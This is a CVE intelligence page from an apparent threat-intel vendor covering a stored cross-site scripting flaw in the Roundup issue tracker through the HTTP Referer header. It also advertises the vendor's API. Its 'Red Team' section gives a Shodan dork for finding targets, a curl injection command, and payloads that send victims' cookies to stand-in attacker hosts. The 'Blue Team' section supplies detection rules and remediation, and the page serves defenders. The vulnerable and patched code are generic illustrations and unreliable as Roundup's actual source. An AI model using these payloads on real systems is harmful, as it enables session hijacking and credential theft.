☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-39125

CVE-2024-39125 Cross-Site Scripting in Roundup
📅 PUBLISHED: 2024-07-17 00:00 UTC 🔄 UPDATED: 2026-09-24 05:59 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39125 is a stored Cross-Site Scripting (XSS) vulnerability in Roundup, an open-source issue tracking system, affecting versions prior to 2.4.0. The vulnerability allows an attacker to inject arbitrary JavaScript code via the HTTP Referer header, which is then reflected in the application's user interface without proper sanitization. This can lead to session hijacking, credential theft, or further compromise of the Roundup instance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Roundup is a Python-based application distributed via PyPI. The vulnerability affects the core application logic, not a third-party dependency. Users should verify their Roundup installation version and update to 2.4.0 or later. The package is maintained on GitHub and PyPI, and no malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – The attack is performed over HTTP.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must view the malicious Referer header in the application.
  • Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction but can lead to significant impact.

Deep Dive & Mechanics

The vulnerability exists in how Roundup handles the HTTP Referer header. When a user accesses a Roundup page, the application logs or displays the Referer header value. In versions before 2.4.0, this value is not properly sanitized before being rendered in the HTML output. An attacker can craft a malicious Referer header containing a <script> tag or other HTML/JavaScript payload. When a victim (e.g., an administrator) views the page that displays the Referer, the script executes in their browser context.

Attack Flow:

  1. Attacker sends a request to a Roundup instance with a crafted Referer header: Referer: http://attacker.com/"><script>alert('XSS')</script>
  2. Roundup logs or displays this Referer value on a page (e.g., issue details, user activity log).
  3. Victim (e.g., admin) views that page.
  4. The malicious script executes in the victim's browser, potentially stealing cookies, redirecting to a phishing site, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.4.0):

# In some template or handler
referer = request.get_header('Referer')
# Directly output without sanitization
return f"<div>Referer: {referer}</div>"

Patched Code (2.4.0+):

import html
referer = request.get_header('Referer')
# Sanitize output
safe_referer = html.escape(referer)
return f"<div>Referer: {safe_referer}</div>"

The patch uses html.escape() to convert special characters like <, >, ", and & into their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable Roundup instance (version < 2.4.0)
  • Ability to send HTTP requests with custom headers

Exploit Steps:

  1. Identify a Roundup instance (e.g., via Shodan dork: http.title:"Roundup").
  2. Send a request to any Roundup page with a malicious Referer header:
    curl -H "Referer: http://evil.com/"><script>alert('XSS')</script>" http://target.roundup.com/issue?status=open
    
  3. Wait for an administrator or user to view the page that displays the Referer (e.g., issue details, user activity log).
  4. The injected script executes, allowing further actions like cookie theft:
    fetch('http://attacker.com/steal?cookie=' + document.cookie);
    

Advanced Payload:

<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team

Detection:

  • Monitor for unusual Referer headers containing HTML tags or JavaScript.
  • Use WAF rules to block Referer headers with <script> or onerror attributes.
  • Enable logging of all Referer headers and review for anomalies.

Honeypot:

  • Deploy a fake Roundup instance to capture attacker payloads.
  • Analyze captured Referer headers for patterns.

Lab Setup:

  1. Install vulnerable Roundup version:
    pip install roundup==2.3.0
    roundup-admin init mytracker
    roundup-server -p 8080 mytracker
    
  2. Test exploitation as described above.
  3. Upgrade to patched version:
    pip install roundup==2.4.0
    

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with Referer headers containing <script>, onerror, onload, or other HTML event handlers.
    • Outbound connections to attacker-controlled domains from the Roundup server (if XSS payload exfiltrates data).
  • File IOCs:
    • Log entries showing unsanitized Referer headers with HTML/JavaScript.
  • Behavioral IOCs:
    • Unexpected JavaScript execution in the context of the Roundup application.
    • Unauthorized actions performed by admin accounts.

Detection Engineering

YARA Rule

rule CVE_2024_39125_Roundup_XSS_Referer {
    meta:
        description = "Detects malicious Referer headers targeting Roundup CVE-2024-39125"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-39125"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/i
        $html_tag = /<[^>]+>/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-39125 Roundup XSS via Referer Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malicious Referer headers targeting Roundup
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-referer|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in Referer (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39125 Roundup XSS via Referer Header"; flow:to_server; content:"Referer|3a|"; http_header; pcre:"/Referer\x3a[^\r\n]*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Roundup to version 2.4.0 or later.
  2. If upgrade is not possible, apply a WAF rule to block Referer headers containing HTML tags.
  3. Sanitize all user-controlled input, including HTTP headers, before rendering.

Long-term Measures:

  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Regularly update Roundup and its dependencies.
  • Conduct security audits of custom templates and handlers.

Workaround:

  • Modify the Roundup source code to escape the Referer header output using html.escape() or similar.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39125/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.